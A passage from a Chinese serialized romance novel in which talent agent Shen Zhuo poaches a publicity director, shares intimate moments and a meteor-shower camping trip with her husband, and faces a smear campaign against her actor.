沈灼最怕、也最厌恶被人质疑不专业。她想，既然要组建团队，就该找最专业的人同行。前期是因为资金有些困难她不得不搁置，现在关司予和蒋芮在组里，需要准备剧宣物料，不能一直靠组里的剧照师和侧拍师帮忙，那毕竟是来拍剧组花絮和剧照的。 现在，是个可以把鲸禧的宣传总监Nadia撬过来的好时机，Nadia不管是资源、经验还是能力都是行业里拔尖的，而且她们配合也十分默契，如果她能来工作室，简直是如虎添翼。 不过沈灼没有着急，而是又等了几天，等池骁这件事热度稍微降了一些后，她约Nadia出来做SAP。 最近鲸禧因为池骁，公司各个部门都在加班，给他擦屁股。几个月N不见adia，感觉她脸都垮了，沈灼直接帮她选了个缓解疲劳的全身精油按摩，还有脸部护理。 两个人在同一间房间，静静感受着精油的芳香，颂钵悠长空灵的声音，放松身体渐渐入睡。两个小时过去 ，沈灼什么都没有和Nadia提起，仿佛今天过来就是纯粹做SPA而已。按摩之后，神清气爽，Nadia甚至舒服得还在床上赖了一会儿才起来。 之后俩人去自助区拿了点甜品。 “你别拿太多，晚上我请你吃日料啊。”Nadia嘱咐道，她的小盘子里只有几块水果。 “好啊。”沈灼没拒绝。她和Nadia共事这么多年，太清楚她了，大家虽然关系好，但仍有分寸，你请我一回，我必须还你一顿的。 她等的就是Nadia请她吃饭。 在饭桌上，沈灼也耐着性子始终不提工作上的事，反而问她准备什么时候结婚，在哪里买房，是不是准备要宝宝。 句句不提钱，句句都是钱。 Nadia如实和沈灼说，她确实有生宝宝的打算。 “啊，那现在在鲸禧这工作压力还挺大的呀，前一阵因为池骁都忙疯了吧……要是这个工作强度，杨狗能让你请假待产吗？”沈灼终于抓着个点切入进去。 “唉，”Nadia叹一口气，“都不说以后请不请假的事了，这个月工资都没发了。” “为什么啊？”沈灼装不知情，“不会是因为池骁赔偿金太大，周转不开了吧？” “谁知道呢？” “我说要不然你干脆来我这儿算了，我给你开一样的工资，怎么样？”沈灼笑着，语气像是玩笑一般，抬手给Nadia满上了梅子酒。 “那感情好啊，我求之不得呢，你工作室现在不就签了两个艺人，我工作量还没那么饱和呢。”Nadia顺着她的话说。 “我和你说真的呢。你别不信，我真缺人。” Nadia突然笑出声：“憋了一下午，可算说出来了是吧？” “嗐，这不是第一次挖人墙角，业务不熟练么。”沈灼被看穿也笑了，“既然你知道了，那我就不和你绕弯子了。关司予和蒋芮正在《雾灯》的组里，我问了平台《野河》大概是明年二月初寒假档就播。我一个人肯定搞不来宣传啊，我需要你。” “行，我回去考虑考虑。”Nadia说。 “这还要考虑呢。”沈灼捂着心口，仿佛受伤一般，“关司予你都熟了对他基本没什么问题，只有一个蒋芮，而且我保证我肯定不做无良资本家，在工作室只有前辈和后辈，没有老板和下属。” “你说的我肯定信呀。” “那你还考虑什么？” “这不一换工作，这通勤啊租房啊都得考虑考虑么，正好我们租的房子也到期了，但是离他公司近，我晚上回去商量一下，尽快给你答复。” 沈灼点点头，说“好”。 * 邵成章回家之后，发现空气里飘着一股异香，他仔细嗅了嗅，闻着味儿走到了影音室。投影仪上播放着最近一档喜剧综艺，可能是有点无聊，沈灼也没在看，躺在里面沙发上看手机呢。 “老婆。”邵成章喊她一声，走进去。 沈灼听声，仰起头看着他，“回来啦，吃饭了吗？” “嗯。”邵成章走得越发近了，闻到的香味就浓了些，“你今天好香。”他手撑在沙发扶手上，倒着脸看她。 “我今天去做了个SPA，应该是精油的香味，不过现在我自己都闻不出来了。”沈灼歪头嗅了下，并没闻出什么味道。 沙发的扶手高一些，沈灼枕在上面，脖颈一侧正好空出来，邵成章俯下身脸埋进去，半边脸贴着她的颈侧，深深吸了一口，萦绕在鼻间的是花香掺杂着木香调。 沈灼忍不住痒，缩脖子，手指不小心滑到了手机页面，突然响起的remix流行歌曲让邵成章抬头，正巧看到她手机屏幕上出现一个穿着透视装腰肢来回摇摆，头上还带着动物耳朵发箍的一脸妖艳的……男孩子。 “你在看什么？” 沈灼一抬手机，看见这画面，愣了一下，而后恢复淡定：“看不出来么，我看帅哥呢。” 邵成章挑眉：“帅吗？” “不帅吗？”确实不在沈灼的审美点里，但她故意逗他，“我觉得挺帅啊。” 邵成章一手托起她的下巴，让她被迫看着自己，“那你说，我和他比谁帅？” 真幼稚啊，沈灼想，但她没说出来，说了某人又开始较劲了。 “你帅，你最帅了，你在我心里天下第一无人能及的帅。”沈灼哄着他。 邵成章轻哼了声，长臂一伸，手指划了两下，直接从APP里退出了，“那你看我，别看他了。” 沈灼扑哧一声笑：“我工作呢，找找有没有什么没签约的沧海遗珠。” 这事儿还是晚上和Nadia吃饭的时候说起来的。沈灼和她吐槽签艺人说简单也简单，说难也难。 现在娱乐圈的门槛太低，什么人都能来里面分一杯羹。模特能当演员，网红能当演员，就连国家退役的运动员都能来演戏了，正经科班出来的学生也越来越水，签约是容易，但是没有演技也走不长远。而且沈灼现在还是偏向从科班找，Nadia劝她放下偏见，还和她说了几个从短视频平台走红开始演戏的艺人，演的小成本剧也是小爆出圈了。她这会儿无聊，这才打开短视频看看还有没有什么没签机构但是观众缘还不错的小网红，若是能培养起来，也是条路子。 谁知道，大数据给她推这种擦边男啊。 邵成章单边挑了下眉，像在说“你觉得我会信？” “真的！”沈灼笑出声，“我是正经人。你晚上是不是还有会议呢，赶紧去开会吧，别耽误时间了。”这段时间邵成章也很忙，北美那边的分区售卖非常成功，他还想开拓一下欧洲那边的市场，已经派了团队过去，常常十点就和那边进行视频会议，开完小会开大会的，有几天都是她睡着了他才结束。 邵成章低头先亲了她一口，又轻咬她嘴唇一口，这才起身去书房。 沈灼坐起来，等他走到门口了才出声笑说：“我就看，上面有浏览记录，一找就找到了。” 邵成章脚步一顿，转过身来单手掐着腰，特别无奈：“你就天天气我。” 沈灼见好就收，“不气不气，爱你呦，你快去工作，忙完了来找我。”说着抬手，向他比了个心。 邵成章这才遏制住再次走进来的脚步，转身又去书房了。 沈灼笑了笑，她很喜欢这样的相处状态。知道彼此有工作的时候，谁也不会去打扰对方，等忙完了，尤其是邵成章，他就会马上来找她。 这点，几乎谁都没有特别提起约定，就是这么默契且自然而然的执行了。 * 十一点多，邵成章才结束会议，进卧室拿睡衣准备去洗漱。沈灼拿了一本书，依靠在床头，一条腿搭在另一条腿上，优哉游哉地晃着脚丫子看得入迷，连他进来都没抬头。 “脚不冷吗？不穿袜子也不盖被子。”沈灼体寒严重，手脚一年到头没几天是热乎的，现在天冷了，暖气也还没供得特别足，脚露在外面更凉了。 沈灼正看得沉浸，应了声，听着邵成章的指挥起身，他把被子掀开，给她盖好才去冲澡。出来之后他从另一侧上床，和她并排坐着，等着沈灼结束阅读。 左等右等不见她要放下，邵成章头靠过去，又往下挪了挪身子，和她头靠着头。没一会儿，他上手搂住她的腰，脸颊贴着她的头发。今天洗发水的味道也不一样了，邵成章忍不住亲了亲，然后和她一起看书。 沈灼正在看一本短篇小说，作者是国内一位青年女作家，她看完了几篇，竟然有种很适合改编成电影的想法。 第三篇看完，沈灼抽过书签夹好放在床头柜上。 “我看书你就捣乱。”沈灼坐得腰酸，滑下去直接躺下。 “我才没有。”邵成章也跟着挪下去，侧躺肘撑着头看她，说完又贴上去，“老婆，你是花仙子吗？” 沈灼被他这形容逗笑了，“你这么喜欢这个味道啊，那明天我去给你买一套回来。” “不要。”邵成章埋在她颈间蹭着，“只有你用才好闻。” 蹭着蹭着，他忽然抬头问她：“生理期是不是快到了？还没来？” “应该就这两天了。”沈灼说，一般她开始腰酸就说明马上要来了。 那就不能做了。邵成章手探进她的衣摆，捏了捏她腰间的软肉，有点委屈地看着她。 “别装可怜。”沈灼轻哼一声，“前几天是你没时间可不是我没时间。” “我气我自己不行吗？” “那也不行，你经过我允许了吗就生气，不准生气。” “老婆，你真霸道。” “不行吗？” 沈灼挑眉反问。 “行，我喜欢你对我霸道。” 沈灼得意地笑一声，邵成章整个身子都靠过去，抱住她，“老婆……”他撒娇似地喊她。 其实他没想干什么，就是想叫叫她，抒发一下心里那丁点儿小情绪。 但沈灼总听着小狗怪可怜的，她把他推倒，肘支起上半身低头看他。 两个人的姿/势彻底换了过来。 他感受到她的手冰凉。 沈灼只有感情，没有技巧，还是那种蔫儿坏的感情。 她最近指甲长长了一些，还没来得及剪，故意使坏几下，就让他的呼吸乱了。 “你看着我，不准闭眼睛。” “不准咬嘴唇。” 邵成章垂在两边的手青筋暴起，他盯着沈灼，喉结重重一滚。 沈灼肘支着，手背贴在他已经泛红的脸色上，感觉有点发烫，她笑得眯了眯眼睛，“舒/服吗？” “嗯……” “……喊我名字。” 邵成章鼻翼翕张，抿着嘴唇，过了好一会儿，才在一吸一呼之间，轻轻哼出“沈灼”两个字。 气音里带着喘/声，他盯着她炽热的眼神…… 沈灼感觉很瑟/情，也很性感，她很喜欢。 邵成章忍不了了，大手拥在她的背上，将她推进自己的怀里，和她接吻。 吻着吻着，沈灼就停下了，脑子里光只想着和他接吻了。 “不要停，宝宝。”邵成章细密地吻着她。 ……沈灼想，她确实不如邵成章有天赋，不知道为什么他对她可以同时做很多事情，哪哪儿都不停。 不知道过了多久，像是飘在天上的邵成章终于落地。 “老婆，下周三你有没有时间？” “可以有，怎么了？”沈灼懒懒回答，她不想动，主要是手和胳膊酸酸的。 “我们去看流星雨好不好？” 邵成章将现场清理干净之后，把她搂在怀里，给她捏着手放松。 邵成章知道沈灼喜欢看星星，下周开始有金牛座和猎户座流星雨，周三流星雨达到极大期，不用设备肉眼就可以看得见。 “好呀。”从来没人带她去看过流星，沈灼冲他甜甜一笑。 第82章 在期待着流星雨之约到来之前，沈灼收到了Nadia的回复：她在鲸禧提了离职，等交接完工作就可以过来。 沈灼看着信息，心情雀跃地打了个响指。最近一切事情似乎都在朝着她想要的方向上发展，这可真好。她迫不及待地想和邵成章分享。 然而此刻他还在公司加班。自从前几天，邵成章忽然就开始忙了起来，虽然同住一起，但沈灼觉得好像都有好几天没有见到过他了。 睡前回不来，睡醒人走了。 她看了眼时间，已经十一点多了，她给邵成章发了条消息，没有分享好消息，而是问他什么时候回家。 邵成章回复都是在半个小时以后了，告诉她可能得晚点，让她先休息。 沈灼：“我想你了。” 邵成章：“我也想你，想抱你。” 沈灼找了个很可爱的抱抱的表情包发了过去。 沈灼：“我准备睡啦，你先忙吧，早点回来。” 等邵成章回复之后，沈灼没有再回他。嘴上说是要睡觉，然而手机并没放下，她打开了播客，一边听一边等邵成章回来。 邵成章到家又是两点多，他推开卧室的门，发现床头灯还亮着，但沈灼已经睡着了。 他坐在床边，借着灯光看她，就这么看一会儿，邵成章都觉得自己在蓄能了，一天的疲惫都不值一提。 沈灼也不知道为什么，突然就醒来了，眼睛没睁开，是大脑先有的意识。床头灯柔和的灯光透过单薄的眼皮还能感应到些许光亮，沈灼伸手摸了摸旁边，空的。她想看时间，一睁眼，发现邵成章正坐在床边。 沈灼揉揉眼睛：“你回来啦？” 邵成章也惊讶她醒了，沈灼几乎没有起夜的习惯，怕吵醒她，他刚刚都没敢碰她。“怎么醒了？”邵成章问。 “不知道呀，就是突然醒了，可能我的身体感知到你回来了，就让我醒了呢，谁让我这么想你。”沈灼手从被窝里拿出来，对他张开手臂，“过来，我抱抱。” 邵成章笑了下，她总说他对她花言巧语，可明明都是她对他柔情蜜意。他俯下身，贴进她的怀里。 “累不累？”她问。 “嗯，本来很累，看见你就不累了。” 沈灼笑了下，脸去贴他的脸颊，“好凉。”沈灼隔着被子都能感受到他身上带来的寒意。邵成章着急回来，进了车子空调都没开，直接飞驰回家。 “那我先去洗个热水澡。”他说着，却被沈灼紧紧搂住脖子，不让他动。 抱了好一会儿，沈灼感觉他的脸没有那么冰凉之后，才稍微放开他。离得近了，才发现他的眼睛里都充斥着红血丝，连着四五天熬大夜，铁人都得熬坏了，沈灼不免心疼。 “我被窝可暖和了，你先进来。”这时候也不嫌弃他还穿着外出的衬衫西裤没换睡衣了，沈灼往里一挪，给邵成章让出位置。 “快点儿，我去一下洗手间。” 邵成章听话地脱鞋上床，被窝里暖烘烘的，枕头上还有她淡淡的洗发水的味道，他躺下感觉整个身体都舒展了。 沈灼去了一趟洗手间回来，发现邵成章已经睡着了，不知道最近的工作压力是不是太大了，就连睡着，他的眉头都是微蹙着的，沈灼叹口气，轻轻帮他抚平。 她本想给他把衣服一脱，又怕动作太大把他吵醒，干脆作罢。于是她关了床头灯，从床尾爬上床在他身边躺下。 感应到身边有人，邵成章没有醒，只是下意识地侧身，把枕边人搂在怀里。 沈灼一直在想是不是因为他说要带她去看流星雨所以才拼命赶工作，就像上次他陪她去海岛一样。周二晚上，邵成章竟然在零点之前就回家了。大家都是上班的，沈灼十分体谅他：“反正每年都有流星雨，不用非得赶在明天呀，你如果有工作就先忙工作。” “不是。”邵成章和她解释，原来他在雅安区看中的那块商业用地本来已经胸有成竹，结果前段时间有几家公司也看上了。作为未来A市的新地标，政府十分重视项目开发，于是直接改成企业竞标，需要企业们提交开发方案，这几天，邵成章一直在带着团队做这个。 “那现在搞定了吗？” “嗯，大框已经定好了，细节交给他们去做就行。” 沈灼这才放心，不耽误他的工作就好。 邵成章这几天太累，难得睡了个懒觉。俩人吃了个早午餐驱车去了郊外一个房车露营地，邵成章在那里有自己的房车。他说他以前想过，等老了以后就开着房车去旅游。 “那有我吗？” “以前那时候只想着一个人。但是现在，”邵成章看她一眼，“你是我做任何事的核心前提。” 沈灼肘撑在车窗上，支着头笑眼看他：“这还差不多。” 由于是工作日，加上地点偏远，这里几乎没什么人。车子停在停车场，邵成章牵着沈灼走进招待中心，老板和他认识，见他忙说有时间没来了。邵成章说自己结婚了，顺便介绍沈灼和他认识。老板大笑，连道两声恭喜，寒暄一番之后，他问 邵成章准备吃什么。 这里烤肉火锅烧烤都可以，邵成章听沈灼的，她说都要。 点好食材，俩人往营地里面走。还没走到他们的房车，便看到有一家三口在这里露营，宝宝看起来还很小，时不时能听到他嬉笑尖叫的声音。 邵成章的房车和营地的不同，是一辆改装过的奔驰24J，碳灰色的，非常酷。沈灼以前带的艺人，在剧组里都是要求配备房车休息的，她对此见怪不怪，但是进去之后，她发现这房车一点都不觉得局促，而且配备设施也一应俱全，连洗手间都是干湿分离，不像剧组里的依维柯，洗手间都狭小地快放不下腿。 果然，有钱真好。 工作人员随即给他们搬来了折叠桌椅和露营车等用品。已经入冬，天黑的早，晚上也冷，这个季节可以烧篝火。 “真的啊？”沈灼知道之后眼睛都亮了，邵成章给她指了指方向，她看到一个不远处有一个石头围起来的篝火土坑。 “一会儿我们去捡点干柴。” “好呀。”沈灼一脸好奇和期待，邵成章看她和小孩儿似的高兴拍手，不禁笑了。 没一会儿，邵成章不知道从哪儿找出来两幅棉手套，让沈灼带上，怕树枝上有刺扎到手。两个人进后面的林子里拾了两把细树枝后，沈灼就感觉有点饿了，邵成章去招待中心拿砍好的柴火，顺便让工作人员把食材和餐具还有锅子也都送来了。 隔壁一家三口的妈妈牵着小宝宝过来和沈灼借打火机，他们的打火机似乎没气了，沈灼二话不说就借了。 “儿子，这时候你要说什么呀？” “谢谢姐姐。”奶声奶气的童声响起，沈灼没想到这虎头虎脑的小孩儿喊她姐姐，给她逗乐了。 她蹲下来，冲着宝宝笑，“宝贝，你几岁了呀。” 小宝宝不吱声了，一双布灵布灵的水润大眼眨着。“你说，我快三岁啦。”妈妈提醒他。 沈灼戳戳他的脸，不忘夸他：“你真可爱。” 母子俩走了，邵成章也回来了，他负责架锅子，沈灼将餐具和食材摆上桌。 “姐姐——”一声清亮的童音响起，沈灼回头一看，是小宝宝过来还打火机，他手里还捧着一盒黄心猕猴桃。沈灼看他走的不稳，小跑过去接他手里的东西。 “你一个人就过来啦，这么厉害呀？”她蹲下接过他手里的东西，见他伸出一只手，望着她，她问，“嗯？你要我抱你吗？” 小宝宝也不说是，也不说不是，就只是冲着她伸出手，沈灼瞧他可爱，没什么犹豫的将他抱起来。 “我天宝贝，你还挺沉的。”沈灼抱他往房车走，让邵成章接过她手里的打火机和水果。沈灼逗小孩儿：“宝贝，你看你叫他什么呀？” 小宝宝说：“叔——叔！” 沈灼扑哧一声笑出来，“嗯，就叫他叔叔。” 邵成章挑眉：“怎么了？” 沈灼哼一声：“他可是叫我姐姐。说明在小孩子的眼里，你比我老多了。” 邵成章：“……” 沈灼抱着小孩儿往上掂了一下，邵成章看出她这会儿抱不住了，对他说：“来，叔叔抱你回去。” 小宝宝听懂了，直接转过头去，又惹得沈灼大笑，“哈哈哈，他嫌弃你。” 邵成章摇头哼一声：“小小年纪，就知道找漂亮姐姐了。” 这时候，小宝宝的妈妈过来了，见沈灼抱着孩子连忙跑过去，“儿子，这么大了怎么还让姐姐抱你呢！实在太不好意思了！”孩子母亲从沈灼怀里将他抱过去。 “没事儿。”沈灼笑笑，母子俩要走，她拉住他们，说要给他们点水果。宝宝妈妈一直拒接，最后沈灼拿出一盒蓝莓让小宝宝拿住了。 今天天气非常好，他们坐在天幕下，慢悠悠地边吃边聊，吃完太阳都开始下山了。 由于刚刚一直都是邵成章在负责烤肉和火锅，沈灼动筷子只是在吃，所以吃完之后她自告奋勇收拾碗筷以及清洗一下带来的水果。 等她出来，发现邵成章已经没影了，她将水果放在桌子上，往外走了走，看到他站在不远处。 夕阳斜照过来，把他的影子拉得很长很长。沈灼走近了几步，看见他正望着草坪上的一家三口。年轻的父母一左一右牵着孩子的手，把孩子拎起来荡秋千。孩子每荡一下，就发出咯咯的笑声，那笑声听着无忧无虑。 不知道他在想什么呢……但沈灼盯着邵成章的背影，突然很想抱抱他。 “邵成章！”听到沈灼喊他，他回过头来，“你要接住我哦。” 说完，沈灼就小跑过去，跑到他跟前，然后一跃，跳到他身上挂住。 “我们去烧篝火吧，好不好？”沈灼额头抵着他的，笑着说。邵成章应了句，就抱着她往回走。 邵成章几下就垒好了木柴，上面放的他们捡来的干树枝，用固体酒精引燃，没一会儿小火苗就燃起来了。 眨眼间，天色已经暗淡，沈灼抬头看见月亮的周围可以零星看到一闪一闪的星。 柴火噼里啪啦地烧起来，时不时“砰”一声，木柴烧的爆裂，崩起点点火星。 隔壁的一家三口似乎已经离开。 这里只有她和邵成章，地上的篝火和天上的星月，两个人静静地不说话，就这样坐着。 沈灼忍不住翘起嘴角，享受着这一刻的恬静和幸福。 太阳彻底落山之后，反倒是起了一点点风，温度骤降。“冷不冷？冷我们就去车里待一会儿，还有一个小时才差不多才开始。” 沈灼摇摇头，好不容易出来一趟，她要多吸收一下自然天地精华，晒晒月光浴。 邵成章起身到车里给她拿了一件厚的羽绒服和暖手宝出来。 “手放进来，我也给你暖暖。”沈灼将暖手宝揣在兜里，她的口袋大，让邵成章也把手放进来，邵成章手并不冷，但想握着她的手。 这温度一降，脂肪燃烧的就快，饿的也快。邵成章把火锅重新开起来，顺便拿了烧烤网架架在火上。他磕了两个鸡蛋在锡纸小碗里，还烤了豆腐和土豆，给她调了个干碟。 “我去滇省那边徒步的时候，看到当地人有这么烤鸡蛋和土豆吃的。” “滇省好玩吗？”沈灼还没去过呢。 邵成章正说起自己去那边某峡某山徒步时，在途中遇到许多有意思的人，还尝了些吃不惯的食物。话音未落，一道流星倏地划过夜空。 “老婆，开始了。”他提醒道，但是沈灼光顾着看他了，根本没看天上。 “啊，我错过了第一颗流星！”沈灼抬头眨巴着眼睛望着夜空，四处张望，只看得见星星，不见流星。她起身冲进车里上厕所，以防一会儿错过更多。 刚从洗手间出来，就听邵成章在外面喊她，她冲出来，正巧碰上一颗流星在头顶上划过去，非常非常快，若是在灯火通明的市里，绝对是看不见的。 而且也不像电视剧那般，真实的流星拖尾非常的短，仿佛是深海里跃出水面呼吸的小鱼，下一秒就进入海里消失不见。 “快快快手机给我，我要拍照——啊不不不，我先许愿。”沈灼有点手忙脚乱。 邵成章笑着说：“没事儿，一晚上的时间够我们慢慢看的。我给你拍照，你许愿。” 沈灼把手机给他，她冲到前面闭上 眼睛，双手交叉相握抵住下巴。邵成章站在她身后给她拍照。 许完愿，沈灼跑回来，“你都不许愿啊？” “我许的愿望流星实现不了。” 沈灼切了声，“你这说的，那谁能帮你实现啊？” “你呀。”邵成章盯着她说，“我的愿望只有你能帮我实现。” 沈灼走到他面前站定，手插进他的外套兜里，“那你说我听听，我想想怎么帮你实现。” 邵成章垂眼看她，想了想，才说：“老婆，你知道今晚最亮的那颗星星吗，那是双子座的北河三。你说的对，星星只有被看见才会产生意义。所以，可不可以让我当你的星星，可不可以只看着我。只有你看向我，我的存在才有意义。” “邵成章……”沈灼简直被邵成章突如其来的告白给震撼住了。 她从来没想过，在他的心里，自己的分量如此重，重到他说他是为她而存在的。 沈灼踮脚抱住他，感动得无以复加。 “你知道吗，在哈萨克族里没有我爱你的直接表达，他们表达的喜欢翻译过来就是‘我清楚地看见你’。我喜欢你，爱你，从来都不是因为你的身份，你的背景，你的物质条件有多优越，而是因为我看见了你的内在，你的思想，你的心之所向。” “邵成章，我一直都，很清楚地看见你。” 第83章 邵成章收紧双臂，声音低沉：“那你答应我，永远都不准离开我。” “嗯，我答应你。” 沈灼抬眼，正巧闪现一颗流星，她立即闭上眼睛许了个只有她和邵成章的愿望。 邵成章松开她，腰一弯，把她打横抱起来，坐进露营椅上。沈灼挣着要下来，她怕这露营椅撑不住两个人的重量。 “塌了也有我在地下给你当肉垫子呢，不怕。” 沈灼说：“那谁知道，万一你把我丢出去呢？” “不会。”邵成章拥着她说，“我永远不会先松开你的手，把你丢下。” “最好是哦。”沈灼扬起头来，又开始看星星。 邵成章笑了笑，“老婆。” “嗯？” “你……想不想要个孩子？” 沈灼没想到邵成章会问她这个，愣了下，认真想了想后摇头：“不想。” “今天我看你好像很喜欢那个小朋友。” 啊，原来是因为这个吗…… 沈灼笑了下：“两三岁正是小孩子好玩的时候，不过在有孩子之前……”她停下，笑眼看着他。 “怎么了？” “我要先把你养一遍”沈灼捧上他的脸，轻声道，“邵成章，你在我这，也可以当个小孩儿。我不需要你在我面前一直强大，无所不能。你说你是为我托底的人，但我也可以接住你，你明白吗？” 小时候缺失的那份爱，我来补给你。 邵成章鼻头发酸，他低下头，用脸蹭蹭沈灼的手心。 他忽然想起他很久以前看过的一部电影，里面的男主角童年十分不幸，父亲抛弃了他们母子，母亲也总是打骂他，他一直认为自己的出生是个错误，而女主角却告诉他：如果在童年没有得到足够的爱，那么一切都还在等着被他发现。 而邵成章现在无比庆幸八个月前，他和迟女士要来了沈灼的电话号码。 “怎么不说话啊？”沈灼抬起他的脸，“让我看看，是不是感动哭了？” 邵成章笑了，下巴被她托起来，他眨眨眼问：“我可以像小宝宝那样提要求吗？” “嗯哼。”沈灼点点头。 “那……”邵成章略一停顿，“Mommy，我想吃柰。” “你——”一句话，温情的气氛直接转成色情频道。 沈灼怎么也没想到他想说的是这个，脸还忍不住红了，还好篝火烧的旺，火光映在脸上盖住了那片红。她抬手一拳捶在他胸口上，嗔怪他：“你能不能正经点！” “我怎么不正经了？” 沈灼手一撑，从他身上下来，坐回了自己的那把椅子，“你闭嘴，我要看星星了。” 邵成章没再说话，只是抬起太仰望星空的时候，嘴角勾了起来。 夜越来越深，温度也越来越低，沈灼没坚持很久就回房车上了，车里一直开着空调，很暖和。 俩人简单洗漱之后，沈灼先钻进被子里，床是凉的，被子也是凉的，她不禁“嘶嘶”地倒吸冷气。 邵成章随后上床，他躺在沈灼的位置，让她趴在他身上。沈灼冰凉的脚心贴在他的小腿上。 冬季的睡衣太厚，压在身下不舒服，沈灼没一会儿就要扭一下拽一拽，来两次之后邵成章箍着她的腰不准让她动了。沈灼生理期快结束了但没走彻底，还是什么都做不了，知道他什么意思她就开始使坏，解他的睡衣扣子。 “邵太太，请问你要干什么？”邵成章垂眼看着她。 “咬你。” 本就敞开一颗扣子，她又往下解开了一颗，可以漏出锁骨和一片肌肤，沈灼低头咬在他锁骨上，像磨牙一样，上下牙齿来回轻移，然后再换个地方，咬起一块肉，不疼。 邵成章手也没闲着，伸进衣摆里，贴在她的腰后面来回游移。 “咬人的是小狗。”邵成章笑说。 沈灼松开牙齿，抬头盯着他：“你才是小狗。” “嗯……汪！”邵成章学了声狗叫，逗得沈灼笑起来。 不知道是不是因为睡前聊了两句狗狗，沈灼梦到自己养了一只捷克狼犬，帅气威猛但又很粘人。每次见到主人它都要扑上来，伸出舌头，将主人的脖子和脸都舔得全是口水。睡觉的时候还要人抱着，一颗毛茸茸的大脑袋就在她身前拱来拱去。 沈灼悠悠转醒，意识到这只是个梦。 可是又感觉有什么地方不太对劲……身前…… 沈灼身子一激灵，猛地睁开眼睛，她垂眼一看，自己胸口上趴着一个毛茸茸的脑袋…… 哪有什么捷克狼犬，分明就是邵成章！ 沈灼气得把他推开。 邵成章笑嘻嘻地和她道早安，问喜不喜欢他的叫醒服务。沈灼翻了个白眼，她要把睡衣扣起来被邵成章拦下，他长腿一伸下床，给沈灼拿了一片湿巾拆开。 都是他的口水，得擦干净。 他说要帮她，沈灼又气愤地给了他一拳。 简单洗漱吃完早餐，俩人驱车往回赶，邵成章到家之后换洗一番，又匆匆忙忙去公司了。 * 再次见到Nadia，她的精神状态看起来不太好，不是那种死气沉沉的疲态，而是能感受出她的失落和沮丧。沈灼问她还好吗。Nadia勉强一笑，说没事，失恋而已。 沈灼怔了一下，随后问道：“为什么啊，不会是因为换工作吧？” Nadia点头：“原先住的地方离他公司和鲸禧都近，现在你这不是远么，我说找一个折中的地方，但是他不想，我俩吵了一架就分了。” “我天，我不会是拆了一桩婚吧？你们俩不都准备快结婚了？”沈灼惊讶。 “得亏是没结婚，如果他真爱我，不会因为这个和我吵，没结婚就这样，等结婚以后大家都不妥协，离也是迟早的事儿，还不如现在发现问题，分就分了吧。” “那你要不要回家再休息一下，房子找好了吗？我家在中湖，现在没人住，你要是不嫌弃可以先去我那过渡。” 这直接让Nadia笑出来了：“别的老板巴不得让员工住在公司里给他们没日没夜干活儿，你这反倒还有失恋假期啊？房子昨天找好了，就是这两天还得收拾东西搬家，麻烦。” 沈灼也笑了下：“我说了我不当无良资本家的，而且员工需要好的状态才能更投入工作啊。” Nadia伸出食指摆了两下：“不要质疑我的工作态度，OK？” 上午Nadia处理好入职相关的手续，直接给关司予和蒋芮各出了一份宣传规划。她来之前就已经翻遍了蒋芮所有的社交平台，看过了她的作品，功课做得详尽充足。根据蒋芮的作品和风格，她给出的定位更倾向于“低调的实力派”与“文艺气质演员”。 Nadia的实力毋庸置疑，两个人过了一遍PPT，沈灼认为这份宣传规划完全没有问题。 以前在鲸禧，一个经纪人手里也有好几个艺人，流量不同，经纪人对手底下的艺人也不会一碗水端平，因此现在沈灼想做小而精的团队模式，签约艺人可以不用多，但是她想每个艺人都有一个专业团队。 这点得到了Nadia的支持，她们可以负责大框架和方向，但是下面执行交给艺人团队，这样团队里负责每个方向的人也都能得到迅速成长。 去掉关司予和蒋芮，沈灼和Nadia讨论了一下还有哪些可以考虑的艺人或者新人，她们要确保艺人之间不撞赛道。最后沈灼给了她一个重要任务，就是要招进来四个艺人宣传。 Nadia最不爱面试，她苦笑道：“现在让我回家休息还来得及吗？” 沈灼笑道：“允许居家办公。” 她专门买了台工作备用机，上面有招聘软件，已经陆续收来了五六十份简历。她将手机递给Nadia，还不忘鞠躬示好：“辛苦了 ，Nadia总监。” Nadia工作效率极高，问清楚沈灼能给出的条件，从第二天开始，工作室每天都有过来面试宣传的人。虽然现在沈灼的工作室还很小，但是必须要保证专业，Nadia甚至安排了笔试。面试一连进行了一周多，先选出来四名人选。 磨合了三天后，了解完剧本，做好关司予和蒋芮拍摄期的物料规划后，Nadia直接带着四名宣传去了剧组探班。 解决好艺宣这一大块儿，沈灼轻松不少。就在她以为能歇口气的时候，一个天降热搜直接给她砸懵了。 #女导演出轨剧组男一号# 词条出现，就已经直接在热搜第一。 一条大V营销号发了一段打上水印的小视频，晚上十点关司予从麦序的房间里进去，将近凌晨一点从麦序的房间出来，视频最后还放上一张麦序和一个外国男子拥抱的照片。用词恶意引导，评论区火药味十足。 这个营销号大V，沈灼以前是合作过的，她在微信里找到对方，直接播了语音。 沈灼还是很客气，问他怎么有关司予的消息也没提前和她沟通一下，言外之意就是她能出钱的也可以出钱摆平。 大V：“沈灼，你理解，我们拿钱办事儿的。” 沈灼：“哥，对方是谁啊，圈里的人吗？” 大V：“这我就无可奉告了啊。” 后面无论沈灼打探什么，对方就是不说，看来这钱是真给到位了，连和艺人这边沟通的余地都没有。 但会是谁呢？ 关司予在圈子里可以说是没有对家，和他同赛道的男演员都是影剧双栖，他只专攻电影赛道，也不争抢角色。麦序就更不用说了，她长期在国外，这还是她 第一部长片，在此之前根本查无此人。 但看起来这热搜像是冲着麦序来的，对方竟然可以找到她和别的男人的拥抱照片，显然是有备而来。 难道是乔新越？ 他恨麦序抢了他的导演位置？可也不对，麦序是在乔新越出事之后，黎雅琦找了小一个月才敲定下的导演啊，这怎么都怪不到麦序头上。 沈灼有点没头绪了，她刷新了一下评论，前排评论倒是都没指责关司予的，反而都在揪着女导演出轨在骂。再往下有关司予的粉丝替他维护，说演员进导演房间只可能是讨论剧本，相信哥哥之类的。 因为这条榜一，《雾灯》相关的词条也开始上热搜引起讨论了。 沈灼当然不信关司予会和麦序发生些什么，麦序是不是真出轨她管不着，但是关司予不能被泼脏水。 她给黎雅琦打电话过去，对方好一会儿才接。沈灼一说这事儿她还压根不知道呢，现在这会儿正在拍戏，相关当事人都在拍摄现场，没人看热搜。 黎雅琦走出拍摄现场，一听接着沈灼电话，一边看热搜了解情况。 沈灼：“雅琪姐，你等这场戏拍完了，和导演还有司予私下说一声，问问当时的具体情况，房间里还有没有其他人可以作证，然后还得请酒店调取监控，看一下前后有没有其他人进入。” 沈灼说得很清楚，黎雅琦应了一声明白。 半个小时后，关司予给沈灼发了一条消息，沈灼一看就知道俩人啥事儿没有。 关司予：“无语。” 是啊，可不是无语吗…… 